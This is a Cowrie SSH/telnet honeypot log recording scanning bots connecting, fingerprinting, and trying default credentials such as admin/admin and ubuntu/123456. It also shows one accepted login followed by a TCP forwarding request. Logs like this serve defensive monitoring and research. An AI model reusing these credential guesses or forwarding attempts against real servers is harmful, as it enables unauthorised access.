{"eventid":"cowrie.session.closed","duration":2.4711873531341553,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.655413Z","src_ip":"34.140.254.88","session":"feb289943ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9464759826660156,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.659036Z","src_ip":"34.140.254.88","session":"4fcf6422f00b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.265700340270996,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.662290Z","src_ip":"34.140.254.88","session":"3469d0cd8b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.50193190574646,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.665737Z","src_ip":"34.140.254.88","session":"a31b58ebacb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6619441509246826,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.668904Z","src_ip":"34.140.254.88","session":"8b7acc10056e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8219962120056152,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.673091Z","src_ip":"34.140.254.88","session":"685a7d87691a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.979792594909668,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.675734Z","src_ip":"34.140.254.88","session":"54ed3cff90f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.1389782428741455,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.678004Z","src_ip":"34.140.254.88","session":"637fc3b933f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.459406614303589,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.681055Z","src_ip":"34.140.254.88","session":"62f151e52e0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.305549383163452,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.683948Z","src_ip":"34.140.254.88","session":"6620da9611f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.620673418045044,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.687024Z","src_ip":"34.140.254.88","session":"7ee5413b5c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.7781877517700195,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.689880Z","src_ip":"34.140.254.88","session":"4552198cb317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.112427711486816,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:38.705221Z","src_ip":"34.140.254.88","session":"c6c35ca99d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":48802,"dst_ip":"10.17.0.5","dst_port":22,"session":"702db2ed31c0","protocol":"ssh","message":"New connection: 202.165.15.132:48802 (10.17.0.5:22) [session: 702db2ed31c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:52.666802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:52.671654Z","src_ip":"202.165.15.132","session":"702db2ed31c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:52.911124Z","src_ip":"202.165.15.132","session":"702db2ed31c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin001","message":"login attempt [ubuntu/admin001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:53.903611Z","src_ip":"202.165.15.132","session":"702db2ed31c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:55.145583Z","src_ip":"202.165.15.132","session":"702db2ed31c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.192.36.222","src_port":55578,"dst_ip":"10.17.0.5","dst_port":23,"session":"448671b0d06c","protocol":"telnet","message":"New connection: 106.192.36.222:55578 (10.17.0.5:23) [session: 448671b0d06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:21:58.499720Z"}
{"eventid":"cowrie.session.closed","duration":14.762677431106567,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:13.262276Z","src_ip":"106.192.36.222","session":"448671b0d06c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54652,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd95c90d9601","protocol":"ssh","message":"New connection: 194.59.206.2:54652 (159.203.135.109:22) [session: dd95c90d9601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:18.401345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:18.407393Z","src_ip":"194.59.206.2","session":"dd95c90d9601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:18.492744Z","src_ip":"194.59.206.2","session":"dd95c90d9601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:18.582633Z","src_ip":"194.59.206.2","session":"dd95c90d9601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.250.244.36","src_port":45686,"dst_ip":"159.203.135.109","dst_port":22,"session":"5be2ca3adcee","protocol":"ssh","message":"New connection: 58.250.244.36:45686 (159.203.135.109:22) [session: 5be2ca3adcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:35.769408Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":43756,"dst_ip":"10.17.0.5","dst_port":22,"session":"f814ceb92379","protocol":"ssh","message":"New connection: 2.57.122.210:43756 (10.17.0.5:22) [session: f814ceb92379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:47.228669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:47.413418Z","src_ip":"2.57.122.210","session":"f814ceb92379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:47.417656Z","src_ip":"2.57.122.210","session":"f814ceb92379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":60502,"dst_ip":"10.17.0.5","dst_port":22,"session":"084fa47fcfd0","protocol":"ssh","message":"New connection: 202.165.15.132:60502 (10.17.0.5:22) [session: 084fa47fcfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:47.513227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:47.517981Z","src_ip":"202.165.15.132","session":"084fa47fcfd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:47.762066Z","src_ip":"202.165.15.132","session":"084fa47fcfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu1","password":"123456","message":"login attempt [Ubuntu1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:48.771096Z","src_ip":"202.165.15.132","session":"084fa47fcfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:48.784402Z","src_ip":"2.57.122.210","session":"f814ceb92379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:49.990646Z","src_ip":"2.57.122.210","session":"f814ceb92379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:50.018555Z","src_ip":"202.165.15.132","session":"084fa47fcfd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"96cab364d7b8","protocol":"telnet","message":"New connection: 212.55.149.117:36606 (10.17.0.5:23) [session: 96cab364d7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:50.653465Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7250,"dst_ip":"10.17.0.5","dst_port":22,"session":"fee3417ce482","protocol":"ssh","message":"New connection: 87.251.64.176:7250 (10.17.0.5:22) [session: fee3417ce482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:55.926501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:55.930750Z","src_ip":"87.251.64.176","session":"fee3417ce482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:56.027018Z","src_ip":"87.251.64.176","session":"fee3417ce482","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:56.315109Z","src_ip":"87.251.64.176","session":"fee3417ce482","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:56.413334Z","session":"fee3417ce482","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:56.510862Z","src_ip":"87.251.64.176","session":"fee3417ce482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:22:56.609753Z","src_ip":"87.251.64.176","session":"fee3417ce482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.250.244.36","src_port":42018,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc2f6426bf72","protocol":"ssh","message":"New connection: 58.250.244.36:42018 (159.203.135.109:22) [session: cc2f6426bf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:02.806831Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45578,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb95858457d7","protocol":"ssh","message":"New connection: 193.32.162.145:45578 (10.17.0.5:22) [session: eb95858457d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:09.288327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:09.293104Z","src_ip":"193.32.162.145","session":"eb95858457d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:09.398973Z","src_ip":"193.32.162.145","session":"eb95858457d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moon","message":"login attempt [ubuntu/moon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:09.715932Z","src_ip":"193.32.162.145","session":"eb95858457d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:10.824628Z","src_ip":"193.32.162.145","session":"eb95858457d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.250.244.36","src_port":39102,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4111d78d06","protocol":"ssh","message":"New connection: 58.250.244.36:39102 (159.203.135.109:22) [session: be4111d78d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:29.491384Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":18896,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd4e0384f6c","protocol":"ssh","message":"New connection: 202.165.15.132:18896 (10.17.0.5:22) [session: 9fd4e0384f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:42.971517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:42.975495Z","src_ip":"202.165.15.132","session":"9fd4e0384f6c","protocol":"ssh"}
